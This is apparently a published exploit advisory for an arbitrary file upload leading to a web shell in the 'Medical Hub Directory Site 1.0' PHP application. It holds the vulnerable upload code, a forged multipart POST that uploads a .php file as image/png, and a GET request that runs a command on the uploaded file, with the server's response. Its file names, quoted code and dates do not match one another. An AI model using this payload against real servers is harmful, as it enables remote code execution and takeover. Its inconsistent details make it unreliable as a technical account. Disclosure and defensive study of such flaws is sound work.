# Title: Medical Hub Directory Site 1.0 Shell Upload # Author: Hejap Zairy # Date: 30.07.2022 # Vendor: https://www.sourcecodester.com/php/15252/simple-medical-hub-directory-site-phpoop-source-code.html # Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/mhds.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw #vulnerability Code php Needs more filtering to upload profile files php``` $img_err= ""; if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){ $fname = 'uploads/system-logo.png'; $dir_path =base_app. $fname; $upload = $_FILES['img']['tmp_name']; $type = mime_content_type($upload); $allowed = array('image/png','image/jpeg'); if(!in_array($type,$allowed)){ $img_err.=" But Logo Image failed to upload due to invalid file type."; }else{ // $new_height = 200; // $new_width = 200; list($width, $height) = getimagesize($upload); $t_image = imagecreatetruecolor($width, $height); $black = imagecolorallocate($t_image, 0, 0, 0); imagecolortransparent($t_image, $black); imagealphablending( $t_image, false ); imagesavealpha( $t_image, true ); $gdImg = ($type == 'image/png')? imagecreatefrompng($upload) : imagecreatefromjpeg($upload); imagecopyresampled($t_image, $gdImg, 0, 0, 0, 0, $width, $height, $width, $height); if($gdImg){ if(is_file($dir_path)) unlink($dir_path); $uploaded_img = imagepng($t_image,$dir_path); if($uploaded_img){ if(isset($_SESSION['system_info']['logo'])){ $qry = $this->conn->query("UPDATE system_info set meta_value = CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)) where meta_field = 'logo' "); }else{ $qry = $this->conn->query("INSERT into system_info set meta_value = CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)),meta_field = 'logo' "); } } imagedestroy($gdImg); imagedestroy($t_image); }else{ $img_err.=" But Logo Image failed to upload due to unkown reason."; } } } ``` [+] Payload POST ``` POST /mhds/admin/?page=manage_account HTTP/1.1 Host: 0day.gov Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738 Content-Length: 882 Origin: https://0day.gov Referer: https://0day.gov/mhds/ Upgrade-Insecure-Requests: 1 Te: trailers Connection: close -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productName" Hejap Zairy -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php" Content-Type: image/png -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="submit" -----------------------------409902128312379197203124536738-- ``` #Status: CRITICAL [+] Payload GET ``` GET /mhds/uploads/users/0day_hejap.png.php?515=echo+Hejap+Zairy HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41 Upgrade-Insecure-Requests: 1 ``` #Response ``` HTTP/1.1 200 OK Date: Thu, 30 Mar 2022 11:15:56 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 12 Connection: close Content-Type: text/html; charset=UTF-8 Hejap Zairy ``` # Description: The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers. # Proof and Exploit: https://i.imgur.com/N9rKLB4.png https://i.imgur.com/CrpqRox.png https://i.imgur.com/Un1sM4Q.png